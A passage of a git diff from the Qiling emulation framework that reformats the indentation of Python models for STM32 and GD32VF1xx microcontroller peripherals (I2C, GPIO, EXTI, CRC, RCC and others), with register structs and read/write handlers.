b/qiling/hw/gpio/stm32f1xx_afio.py @@ -38,7 +38,7 @@ def __init__(self, ql, label): self.instance = self.struct() @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/gpio/stm32f4xx_gpio.py b/qiling/hw/gpio/stm32f4xx_gpio.py index 69d875265..1df97cebf 100644 --- a/qiling/hw/gpio/stm32f4xx_gpio.py +++ b/qiling/hw/gpio/stm32f4xx_gpio.py @@ -36,7 +36,7 @@ class Type(ctypes.Structure): stm32f410cx.h stm32f405xx.h stm32f411xe.h - """ + """ _fields_ = [ ('MODER' , ctypes.c_uint32), # GPIO port mode register, Address offset: 0x00 diff --git a/qiling/hw/i2c/stm32f4xx_i2c.py b/qiling/hw/i2c/stm32f4xx_i2c.py index 8d6dbe870..280c20184 100644 --- a/qiling/hw/i2c/stm32f4xx_i2c.py +++ b/qiling/hw/i2c/stm32f4xx_i2c.py @@ -13,226 +13,226 @@ class STM32F4xxI2c(QlConnectivityPeripheral): - class Type(ctypes.Structure): - """ the structure is available in : - stm32f423xx.h - stm32f469xx.h - stm32f427xx.h - stm32f479xx.h - stm32f413xx.h - stm32f429xx.h - stm32f439xx.h - stm32f412cx.h - stm32f412rx.h - stm32f410tx.h - stm32f410cx.h - stm32f412zx.h - stm32f446xx.h - stm32f401xc.h - stm32f437xx.h - stm32f401xe.h - stm32f412vx.h - stm32f410rx.h - stm32f411xe.h - """ - - _fields_ = [ - ('CR1' , ctypes.c_uint32), # I2C Control register 1, Address offset: 0x00 - ('CR2' , ctypes.c_uint32), # I2C Control register 2, Address offset: 0x04 - ('OAR1' , ctypes.c_uint32), # I2C Own address register 1, Address offset: 0x08 - ('OAR2' , ctypes.c_uint32), # I2C Own address register 2, Address offset: 0x0C - ('DR' , ctypes.c_uint32), # I2C Data register, Address offset: 0x10 - ('SR1' , ctypes.c_uint32), # I2C Status register 1, Address offset: 0x14 - ('SR2' , ctypes.c_uint32), # I2C Status register 2, Address offset: 0x18 - ('CCR' , ctypes.c_uint32), # I2C Clock control register, Address offset: 0x1C - ('TRISE', ctypes.c_uint32), # I2C TRISE register, Address offset: 0x20 - ('FLTR' , ctypes.c_uint32), # I2C FLTR register, Address offset: 0x24 - ] - - def __init__(self, ql, label, ev_intn=None, er_intn=None): - super().__init__(ql, label, 2) - - self.history = AccessSequence() - - self.ev_intn = ev_intn # event interrupt - self.er_intn = er_intn # error interrupt - - self.reset() - - def reset(self): - self.instance = self.struct( - TRISE = 0x0002 - ) - - @QlPeripheral.recorder() - @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: - buf = ctypes.create_string_buffer(size) - ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) - - if self.history.match([ - Access(Action.READ, self.struct.SR1.offset), - Access(Action.READ, self.struct.SR2.offset) - ]): - self.instance.SR1 &= ~I2C_SR1.ADDR - - return int.from_bytes(buf.raw, byteorder='little') - - @QlPeripheral.recorder() - @QlPeripheral.monitor() - def write(self, offset: int, size: int, value: int): - if offset in [self.struct.SR1.offset, self.struct.SR2.offset]: - return - - if offset == self.struct.CR1.offset: - self.instance.CR1 = value & I2C_CR1.RW_MASK - - if value & I2C_CR1.START: - self.generate_start() - - if value & I2C_CR1.STOP: - self.generate_stop() - - return - - if offset == self.struct.DR.offset: - self.instance.DR = value & I2C_DR.DR - self.instance.SR1 &= ~I2C_SR1.TXE - - if self.is_master_mode(): - if self.is_7bit_mode(): - if self.instance.SR2 & I2C_SR2.TRA: - self.send_data() - - else: - self.send_address() - - # TODO 10-bit mode - - return - - data = (value).to_bytes(size, 'little') - ctypes.memmove(ctypes.addressof(self.instance) + offset, data, size) - - ## I2C Control register 2 (I2C_CR2) - def send_event_interrupt(self): - """ - ITBUFEN: Buffer interrupt enable - 0: TxE = 1 or RxNE = 1 does not generate any interrupt. - 1: TxE = 1 or RxNE = 1 generates Event Interrupt (whatever the state of DMAEN) - - ITEVTEN: Event interrupt enable - 0: Event interrupt disabled - 1: Event interrupt enabled - This interrupt is generated when: - - SB = 1 (Master) - - ADDR = 1 (Master/Slave) - - ADD10= 1 (Master) - - STOPF = 1 (Slave) - - BTF = 1 with no TxE or RxNE event - - TxE event to 1 if ITBUFEN = 1 - - RxNE event to 1if ITBUFEN = 1 - """ - if self.ev_intn is None: - return - - if not self.instance.CR2 & I2C_CR2.ITEVTEN: - return - - BUF_IT = I2C_SR1.TXE|I2C_SR1.RXNE - SLAVE_IT = I2C_SR1.STOPF|I2C_SR1.ADDR|I2C_SR1.BTF - MASTER_IT = I2C_SR1.SB|I2C_SR1.ADDR|I2C_SR1.ADD10|I2C_SR1.BTF - - if (self.instance.CR2 & I2C_CR2.ITBUFEN and self.instance.SR1 & BUF_IT) or \ - (self.is_slave_mode() and self.instance.SR1 & SLAVE_IT) or \ - (self.is_master_mode() and self.instance.SR1 & MASTER_IT): - self.ql.hw.nvic.set_pending(self.ev_intn) - - ## I2C Status register 1 (I2C_SR1) - def generate_start(self): - """ - SB: Start bit (Master mode) - 0: No Start condition - 1: Start condition generated. - - Set when a Start condition generated. - - Cleared by software by reading the SR1 register followed by writing the DR register, or by hardware when PE=0 - """ - - # TODO: generate a start condition - self.fetch_device_address() - self.instance.SR1 |= I2C_SR1.SB - self.instance.CR1 &= ~I2C_CR1.START - - self.set_master_mode() - - def generate_stop(self): - # TODO: generate a stop condition - self.instance.CR1 &= ~I2C_CR1.STOP - - self.instance.SR1 |= I2C_SR1.STOPF - self.instance.SR1 &= ~I2C_SR1.ADDR - - self.set_slave_mode() - self.instance.SR2 &= ~I2C_SR2.TRA - - def send_address(self): - if self.instance.DR == self.instance.OAR1 >> 1: - - # TODO: send ACK - self.instance.SR1 &= ~I2C_SR1.SB - self.instance.SR1 |= I2C_SR1.ADDR | I2C_SR1.TXE | I2C_SR1.AF - self.instance.SR2 |= I2C_SR2.TRA - - def send_data(self): - self.instance.SR1 |= I2C_SR1.BTF | I2C_SR1.TXE - - self.send_to_user(self.instance.DR) - - ## I2C Status register 2 (I2C_SR2) - def is_master_mode(self): - """ - I2C Status register 2 (I2C_SR2) MSL bit - 0: Slave Mode - 1: Master Mode - """ - return self.instance.SR2 & I2C_SR2.MSL - - def is_slave_mode(self): - return not self.is_master_mode() - - def set_master_mode(self): - """ - I2C Status register 2 (I2C_SR2) MSL bit - - Set by hardware as soon as the interface is in Master mode (SB=1) - """ - self.instance.SR2 |= I2C_SR2.MSL - - def set_slave_mode(self): - """ - I2C Status register 2 (I2C_SR2) MSL bit - - Cleared by hardware after detecting a Stop condition on the bus - or a loss of arbitration (ARLO=1), or by hardware when PE=0. - """ - self.instance.SR2 &= ~I2C_SR2.MSL - - ## I2C Own address register 1 (I2C_OAR1) - def is_7bit_mode(self): - return self.instance.OAR2 & I2C_OAR2.ENDUAL or not self.instance.OAR1 & I2C_OAR1.ADDMODE - - def fetch_device_address(self): - # dual addressing mode - if self.instance.OAR2 & I2C_OAR2.ENDUAL: - self.instance.OAR1 = self.device_list[0].address << 1 - self.instance.OAR2 = I2C_OAR2.ENDUAL | (self.device_list[1].address << 1) - - # single device, 10-bit slave address - elif self.instance.OAR1 & I2C_OAR1.ADDMODE: - self.instance.OAR1 = I2C_OAR1.ADDMODE | self.device_list[0].address - - # single device, 7-bit slave address - else: - self.instance.OAR1 = self.device_list[0].address << 1 - - @QlConnectivityPeripheral.device_handler - def step(self): - self.send_event_interrupt() + class Type(ctypes.Structure): + """ the structure is available in : + stm32f423xx.h + stm32f469xx.h + stm32f427xx.h + stm32f479xx.h + stm32f413xx.h + stm32f429xx.h + stm32f439xx.h + stm32f412cx.h + stm32f412rx.h + stm32f410tx.h + stm32f410cx.h + stm32f412zx.h + stm32f446xx.h + stm32f401xc.h + stm32f437xx.h + stm32f401xe.h + stm32f412vx.h + stm32f410rx.h + stm32f411xe.h + """ + + _fields_ = [ + ('CR1' , ctypes.c_uint32), # I2C Control register 1, Address offset: 0x00 + ('CR2' , ctypes.c_uint32), # I2C Control register 2, Address offset: 0x04 + ('OAR1' , ctypes.c_uint32), # I2C Own address register 1, Address offset: 0x08 + ('OAR2' , ctypes.c_uint32), # I2C Own address register 2, Address offset: 0x0C + ('DR' , ctypes.c_uint32), # I2C Data register, Address offset: 0x10 + ('SR1' , ctypes.c_uint32), # I2C Status register 1, Address offset: 0x14 + ('SR2' , ctypes.c_uint32), # I2C Status register 2, Address offset: 0x18 + ('CCR' , ctypes.c_uint32), # I2C Clock control register, Address offset: 0x1C + ('TRISE', ctypes.c_uint32), # I2C TRISE register, Address offset: 0x20 + ('FLTR' , ctypes.c_uint32), # I2C FLTR register, Address offset: 0x24 + ] + + def __init__(self, ql, label, ev_intn=None, er_intn=None): + super().__init__(ql, label, 2) + + self.history = AccessSequence() + + self.ev_intn = ev_intn # event interrupt + self.er_intn = er_intn # error interrupt + + self.reset() + + def reset(self): + self.instance = self.struct( + TRISE = 0x0002 + ) + + @QlPeripheral.recorder() + @QlPeripheral.monitor() + def read(self, offset: int, size: int) -> int: + buf = ctypes.create_string_buffer(size) + ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) + + if self.history.match([ + Access(Action.READ, self.struct.SR1.offset), + Access(Action.READ, self.struct.SR2.offset) + ]): + self.instance.SR1 &= ~I2C_SR1.ADDR + + return int.from_bytes(buf.raw, byteorder='little') + + @QlPeripheral.recorder() + @QlPeripheral.monitor() + def write(self, offset: int, size: int, value: int): + if offset in [self.struct.SR1.offset, self.struct.SR2.offset]: + return + + if offset == self.struct.CR1.offset: + self.instance.CR1 = value & I2C_CR1.RW_MASK + + if value & I2C_CR1.START: + self.generate_start() + + if value & I2C_CR1.STOP: + self.generate_stop() + + return + + if offset == self.struct.DR.offset: + self.instance.DR = value & I2C_DR.DR + self.instance.SR1 &= ~I2C_SR1.TXE + + if self.is_master_mode(): + if self.is_7bit_mode(): + if self.instance.SR2 & I2C_SR2.TRA: + self.send_data() + + else: + self.send_address() + + # TODO 10-bit mode + + return + + data = (value).to_bytes(size, 'little') + ctypes.memmove(ctypes.addressof(self.instance) + offset, data, size) + + ## I2C Control register 2 (I2C_CR2) + def send_event_interrupt(self): + """ + ITBUFEN: Buffer interrupt enable + 0: TxE = 1 or RxNE = 1 does not generate any interrupt. + 1: TxE = 1 or RxNE = 1 generates Event Interrupt (whatever the state of DMAEN) + + ITEVTEN: Event interrupt enable + 0: Event interrupt disabled + 1: Event interrupt enabled + This interrupt is generated when: + - SB = 1 (Master) + - ADDR = 1 (Master/Slave) + - ADD10= 1 (Master) + - STOPF = 1 (Slave) + - BTF = 1 with no TxE or RxNE event + - TxE event to 1 if ITBUFEN = 1 + - RxNE event to 1if ITBUFEN = 1 + """ + if self.ev_intn is None: + return + + if not self.instance.CR2 & I2C_CR2.ITEVTEN: + return + + BUF_IT = I2C_SR1.TXE|I2C_SR1.RXNE + SLAVE_IT = I2C_SR1.STOPF|I2C_SR1.ADDR|I2C_SR1.BTF + MASTER_IT = I2C_SR1.SB|I2C_SR1.ADDR|I2C_SR1.ADD10|I2C_SR1.BTF + + if (self.instance.CR2 & I2C_CR2.ITBUFEN and self.instance.SR1 & BUF_IT) or \ + (self.is_slave_mode() and self.instance.SR1 & SLAVE_IT) or \ + (self.is_master_mode() and self.instance.SR1 & MASTER_IT): + self.ql.hw.nvic.set_pending(self.ev_intn) + + ## I2C Status register 1 (I2C_SR1) + def generate_start(self): + """ + SB: Start bit (Master mode) + 0: No Start condition + 1: Start condition generated. + - Set when a Start condition generated. + - Cleared by software by reading the SR1 register followed by writing the DR register, or by hardware when PE=0 + """ + + # TODO: generate a start condition + self.fetch_device_address() + self.instance.SR1 |= I2C_SR1.SB + self.instance.CR1 &= ~I2C_CR1.START + + self.set_master_mode() + + def generate_stop(self): + # TODO: generate a stop condition + self.instance.CR1 &= ~I2C_CR1.STOP + + self.instance.SR1 |= I2C_SR1.STOPF + self.instance.SR1 &= ~I2C_SR1.ADDR + + self.set_slave_mode() + self.instance.SR2 &= ~I2C_SR2.TRA + + def send_address(self): + if self.instance.DR == self.instance.OAR1 >> 1: + + # TODO: send ACK + self.instance.SR1 &= ~I2C_SR1.SB + self.instance.SR1 |= I2C_SR1.ADDR | I2C_SR1.TXE | I2C_SR1.AF + self.instance.SR2 |= I2C_SR2.TRA + + def send_data(self): + self.instance.SR1 |= I2C_SR1.BTF | I2C_SR1.TXE + + self.send_to_user(self.instance.DR) + + ## I2C Status register 2 (I2C_SR2) + def is_master_mode(self): + """ + I2C Status register 2 (I2C_SR2) MSL bit + 0: Slave Mode + 1: Master Mode + """ + return self.instance.SR2 & I2C_SR2.MSL + + def is_slave_mode(self): + return not self.is_master_mode() + + def set_master_mode(self): + """ + I2C Status register 2 (I2C_SR2) MSL bit + - Set by hardware as soon as the interface is in Master mode (SB=1) + """ + self.instance.SR2 |= I2C_SR2.MSL + + def set_slave_mode(self): + """ + I2C Status register 2 (I2C_SR2) MSL bit + - Cleared by hardware after detecting a Stop condition on the bus + or a loss of arbitration (ARLO=1), or by hardware when PE=0. + """ + self.instance.SR2 &= ~I2C_SR2.MSL + + ## I2C Own address register 1 (I2C_OAR1) + def is_7bit_mode(self): + return self.instance.OAR2 & I2C_OAR2.ENDUAL or not self.instance.OAR1 & I2C_OAR1.ADDMODE + + def fetch_device_address(self): + # dual addressing mode + if self.instance.OAR2 & I2C_OAR2.ENDUAL: + self.instance.OAR1 = self.device_list[0].address << 1 + self.instance.OAR2 = I2C_OAR2.ENDUAL | (self.device_list[1].address << 1) + + # single device, 10-bit slave address + elif self.instance.OAR1 & I2C_OAR1.ADDMODE: + self.instance.OAR1 = I2C_OAR1.ADDMODE | self.device_list[0].address + + # single device, 7-bit slave address + else: + self.instance.OAR1 = self.device_list[0].address << 1 + + @QlConnectivityPeripheral.device_handler + def step(self): + self.send_event_interrupt() diff --git a/qiling/hw/intc/gd32vf1xx_eclic.py b/qiling/hw/intc/gd32vf1xx_eclic.py index 2c57383bb..1ac5e084c 100644 --- a/qiling/hw/intc/gd32vf1xx_eclic.py +++ b/qiling/hw/intc/gd32vf1xx_eclic.py @@ -725,7 +725,7 @@ def __init__(self, ql, label): ) @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/intc/stm32f1xx_exti.py b/qiling/hw/intc/stm32f1xx_exti.py index 7dc3e1276..df9e1a92e 100644 --- a/qiling/hw/intc/stm32f1xx_exti.py +++ b/qiling/hw/intc/stm32f1xx_exti.py @@ -53,7 +53,7 @@ def __init__(self, ql, label, ] @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/intc/stm32f4xx_exti.py b/qiling/hw/intc/stm32f4xx_exti.py index b9ad8f93f..8bd5d72ad 100644 --- a/qiling/hw/intc/stm32f4xx_exti.py +++ b/qiling/hw/intc/stm32f4xx_exti.py @@ -10,36 +10,36 @@ class STM32F4xxExti(QlPeripheral): class Type(ctypes.Structure): """ the structure available in : - stm32f413xx.h - stm32f407xx.h - stm32f469xx.h - stm32f446xx.h - stm32f427xx.h - stm32f401xc.h - stm32f415xx.h - stm32f412cx.h - stm32f410rx.h - stm32f410tx.h - stm32f439xx.h - stm32f412vx.h - stm32f417xx.h - stm32f479xx.h - stm32f429xx.h - stm32f412rx.h - stm32f423xx.h - stm32f437xx.h - stm32f412zx.h - stm32f401xe.h - stm32f410cx.h - stm32f405xx.h - stm32f411xe.h - """ + stm32f413xx.h + stm32f407xx.h + stm32f469xx.h + stm32f446xx.h + stm32f427xx.h + stm32f401xc.h + stm32f415xx.h + stm32f412cx.h + stm32f410rx.h + stm32f410tx.h + stm32f439xx.h + stm32f412vx.h + stm32f417xx.h + stm32f479xx.h + stm32f429xx.h + stm32f412rx.h + stm32f423xx.h + stm32f437xx.h + stm32f412zx.h + stm32f401xe.h + stm32f410cx.h + stm32f405xx.h + stm32f411xe.h + """ _fields_ = [ - ('IMR' , ctypes.c_uint32), # EXTI Interrupt mask register, Address offset: 0x00 - ('EMR' , ctypes.c_uint32), # EXTI Event mask register, Address offset: 0x04 - ('RTSR' , ctypes.c_uint32), # EXTI Rising trigger selection register, Address offset: 0x08 - ('FTSR' , ctypes.c_uint32), # EXTI Falling trigger selection register, Address offset: 0x0C - ('SWIER', ctypes.c_uint32), # EXTI Software interrupt event register, Address offset: 0x10 - ('PR' , ctypes.c_uint32), # EXTI Pending register, Address offset: 0x14 + ('IMR' , ctypes.c_uint32), # EXTI Interrupt mask register, Address offset: 0x00 + ('EMR' , ctypes.c_uint32), # EXTI Event mask register, Address offset: 0x04 + ('RTSR' , ctypes.c_uint32), # EXTI Rising trigger selection register, Address offset: 0x08 + ('FTSR' , ctypes.c_uint32), # EXTI Falling trigger selection register, Address offset: 0x0C + ('SWIER', ctypes.c_uint32), # EXTI Software interrupt event register, Address offset: 0x10 + ('PR' , ctypes.c_uint32), # EXTI Pending register, Address offset: 0x14 ] diff --git a/qiling/hw/math/stm32f4xx_crc.py b/qiling/hw/math/stm32f4xx_crc.py index 9d804697b..5699bdc1b 100644 --- a/qiling/hw/math/stm32f4xx_crc.py +++ b/qiling/hw/math/stm32f4xx_crc.py @@ -8,68 +8,68 @@ class STM32F4xxCrc(QlPeripheral): - class Type(ctypes.Structure): - """ the structure available in : - stm32f413xx.h - stm32f407xx.h - stm32f469xx.h - stm32f446xx.h - stm32f427xx.h - stm32f401xc.h - stm32f415xx.h - stm32f412cx.h - stm32f410rx.h - stm32f410tx.h - stm32f439xx.h - stm32f412vx.h - stm32f417xx.h - stm32f479xx.h - stm32f429xx.h - stm32f412rx.h - stm32f423xx.h - stm32f437xx.h - stm32f412zx.h - stm32f401xe.h - stm32f410cx.h - stm32f405xx.h - stm32f411xe.h - """ + class Type(ctypes.Structure): + """ the structure available in : + stm32f413xx.h + stm32f407xx.h + stm32f469xx.h + stm32f446xx.h + stm32f427xx.h + stm32f401xc.h + stm32f415xx.h + stm32f412cx.h + stm32f410rx.h + stm32f410tx.h + stm32f439xx.h + stm32f412vx.h + stm32f417xx.h + stm32f479xx.h + stm32f429xx.h + stm32f412rx.h + stm32f423xx.h + stm32f437xx.h + stm32f412zx.h + stm32f401xe.h + stm32f410cx.h + stm32f405xx.h + stm32f411xe.h + """ - _fields_ = [ - ('DR' , ctypes.c_uint32), # CRC Data register, Address offset: 0x00 - ('IDR' , ctypes.c_uint8), # CRC Independent data register, Address offset: 0x04 - ('RESERVED0', ctypes.c_uint8), # Reserved, 0x05 - ('RESERVED1', ctypes.c_uint8), # Reserved, 0x06 - ('CR' , ctypes.c_uint32), # CRC Control register, Address offset: 0x08 - ] + _fields_ = [ + ('DR' , ctypes.c_uint32), # CRC Data register, Address offset: 0x00 + ('IDR' , ctypes.c_uint8), # CRC Independent data register, Address offset: 0x04 + ('RESERVED0', ctypes.c_uint8), # Reserved, 0x05 + ('RESERVED1', ctypes.c_uint8), # Reserved, 0x06 + ('CR' , ctypes.c_uint32), # CRC Control register, Address offset: 0x08 + ] - def __init__(self, ql, label): - super().__init__(ql, label) + def __init__(self, ql, label): + super().__init__(ql, label) - self.instance = self.struct( + self.instance = self.struct( DR = 0xffffffff, ) - @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: - buf = ctypes.create_string_buffer(size) - ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) - return int.from_bytes(buf.raw, byteorder='little') + @QlPeripheral.monitor() + def read(self, offset: int, size: int) -> int: + buf = ctypes.create_string_buffer(size) + ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) + return int.from_bytes(buf.raw, byteorder='little') - @QlPeripheral.monitor() - def write(self, offset: int, size: int, value: int): - if offset == self.struct.CR.offset: - if value & 1: # RESET bit - self.instance.DR = 0xffffffff - return - - elif offset == self.struct.DR.offset: - for i in range(31, -1, -1): - if self.instance.DR & 0x80000000: - self.instance.DR <<= 1 - self.instance.DR ^= 0x04c11db7 - else: - self.instance.DR <<= 1 + @QlPeripheral.monitor() + def write(self, offset: int, size: int, value: int): + if offset == self.struct.CR.offset: + if value & 1: # RESET bit + self.instance.DR = 0xffffffff + return + + elif offset == self.struct.DR.offset: + for i in range(31, -1, -1): + if self.instance.DR & 0x80000000: + self.instance.DR <<= 1 + self.instance.DR ^= 0x04c11db7 + else: + self.instance.DR <<= 1 - if value & (1 << i): - self.instance.DR ^= 0x04c11db7 + if value & (1 << i): + self.instance.DR ^= 0x04c11db7 diff --git a/qiling/hw/misc/gd32vf1xx_rcu.py b/qiling/hw/misc/gd32vf1xx_rcu.py index 364bf4c5b..2e8fd536b 100644 --- a/qiling/hw/misc/gd32vf1xx_rcu.py +++ b/qiling/hw/misc/gd32vf1xx_rcu.py @@ -52,7 +52,7 @@ def __init__(self, ql, label, intn=None): self.intn = intn @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/misc/stm32f1xx_rcc.py b/qiling/hw/misc/stm32f1xx_rcc.py index 434d17240..ccc8b308f 100644 --- a/qiling/hw/misc/stm32f1xx_rcc.py +++ b/qiling/hw/misc/stm32f1xx_rcc.py @@ -43,25 +43,25 @@ def __init__(self, ql, label, intn=None): ) self.rdyon = { - 'CR': [ - (RCC_CR.HSIRDY , RCC_CR.HSION ), - (RCC_CR.HSERDY , RCC_CR.HSEON ), - (RCC_CR.PLLRDY , RCC_CR.PLLON ), - (RCC_CR.PLLI2SRDY, RCC_CR.PLLI2SON), - ], - 'CFGR': [ - (RCC_CFGR.SWS_0, RCC_CFGR.SW_0), - (RCC_CFGR.SWS_1, RCC_CFGR.SW_1), - ], - 'CSR': [ - (RCC_CSR.LSIRDY, RCC_CSR.LSION) - ] - } + 'CR': [ + (RCC_CR.HSIRDY , RCC_CR.HSION ), + (RCC_CR.HSERDY , RCC_CR.HSEON ), + (RCC_CR.PLLRDY , RCC_CR.PLLON ), + (RCC_CR.PLLI2SRDY, RCC_CR.PLLI2SON), + ], + 'CFGR': [ + (RCC_CFGR.SWS_0, RCC_CFGR.SW_0), + (RCC_CFGR.SWS_1, RCC_CFGR.SW_1), + ], + 'CSR': [ + (RCC_CSR.LSIRDY, RCC_CSR.LSION) + ] + } self.intn = intn @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/misc/stm32f4xx_dbg.py b/qiling/hw/misc/stm32f4xx_dbg.py index 148c375f4..cf3d448e4 100644 --- a/qiling/hw/misc/stm32f4xx_dbg.py +++ b/qiling/hw/misc/stm32f4xx_dbg.py @@ -52,7 +52,7 @@ def __init__(self, ql: Qiling, label: str, dev_id: int = 0x400): ) @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/misc/stm32f4xx_rcc.py b/qiling/hw/misc/stm32f4xx_rcc.py index 8d634cf01..9bdbc96f2 100644 --- a/qiling/hw/misc/stm32f4xx_rcc.py +++ b/qiling/hw/misc/stm32f4xx_rcc.py @@ -9,102 +9,102 @@ class STM32F4xxRcc(QlPeripheral): - class Type(ctypes.Structure): - """ the structure available in : - stm32f401xc.h - stm32f401xe.h - stm32f411xe.h - """ + class Type(ctypes.Structure): + """ the structure available in : + stm32f401xc.h + stm32f401xe.h + stm32f411xe.h + """ - _fields_ = [ - ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 - ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 - ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 - ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C - ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 - ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 - ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 - ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C - ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 - ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 - ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C - ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 - ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 - ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 - ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C - ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 - ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 - ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C - ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 - ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 - ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 - ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C - ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 - ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 - ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C - ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 - ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 - ('RESERVED6' , ctypes.c_uint32 * 2), # Reserved, 0x78-0x7C - ('SSCGR' , ctypes.c_uint32), # RCC spread spectrum clock generation register, Address offset: 0x80 - ('PLLI2SCFGR', ctypes.c_uint32), # RCC PLLI2S configuration register, Address offset: 0x84 - ('RESERVED7' , ctypes.c_uint32), # Reserved, 0x88 - ('DCKCFGR' , ctypes.c_uint32), # RCC Dedicated Clocks configuration register, Address offset: 0x8C - ] + _fields_ = [ + ('CR' , ctypes.c_uint32), # RCC clock control register, Address offset: 0x00 + ('PLLCFGR' , ctypes.c_uint32), # RCC PLL configuration register, Address offset: 0x04 + ('CFGR' , ctypes.c_uint32), # RCC clock configuration register, Address offset: 0x08 + ('CIR' , ctypes.c_uint32), # RCC clock interrupt register, Address offset: 0x0C + ('AHB1RSTR' , ctypes.c_uint32), # RCC AHB1 peripheral reset register, Address offset: 0x10 + ('AHB2RSTR' , ctypes.c_uint32), # RCC AHB2 peripheral reset register, Address offset: 0x14 + ('AHB3RSTR' , ctypes.c_uint32), # RCC AHB3 peripheral reset register, Address offset: 0x18 + ('RESERVED0' , ctypes.c_uint32), # Reserved, 0x1C + ('APB1RSTR' , ctypes.c_uint32), # RCC APB1 peripheral reset register, Address offset: 0x20 + ('APB2RSTR' , ctypes.c_uint32), # RCC APB2 peripheral reset register, Address offset: 0x24 + ('RESERVED1' , ctypes.c_uint32 * 2), # Reserved, 0x28-0x2C + ('AHB1ENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock register, Address offset: 0x30 + ('AHB2ENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock register, Address offset: 0x34 + ('AHB3ENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock register, Address offset: 0x38 + ('RESERVED2' , ctypes.c_uint32), # Reserved, 0x3C + ('APB1ENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable register, Address offset: 0x40 + ('APB2ENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable register, Address offset: 0x44 + ('RESERVED3' , ctypes.c_uint32 * 2), # Reserved, 0x48-0x4C + ('AHB1LPENR' , ctypes.c_uint32), # RCC AHB1 peripheral clock enable in low power mode register, Address offset: 0x50 + ('AHB2LPENR' , ctypes.c_uint32), # RCC AHB2 peripheral clock enable in low power mode register, Address offset: 0x54 + ('AHB3LPENR' , ctypes.c_uint32), # RCC AHB3 peripheral clock enable in low power mode register, Address offset: 0x58 + ('RESERVED4' , ctypes.c_uint32), # Reserved, 0x5C + ('APB1LPENR' , ctypes.c_uint32), # RCC APB1 peripheral clock enable in low power mode register, Address offset: 0x60 + ('APB2LPENR' , ctypes.c_uint32), # RCC APB2 peripheral clock enable in low power mode register, Address offset: 0x64 + ('RESERVED5' , ctypes.c_uint32 * 2), # Reserved, 0x68-0x6C + ('BDCR' , ctypes.c_uint32), # RCC Backup domain control register, Address offset: 0x70 + ('CSR' , ctypes.c_uint32), # RCC clock control & status register, Address offset: 0x74 + ('RESERVED6' , 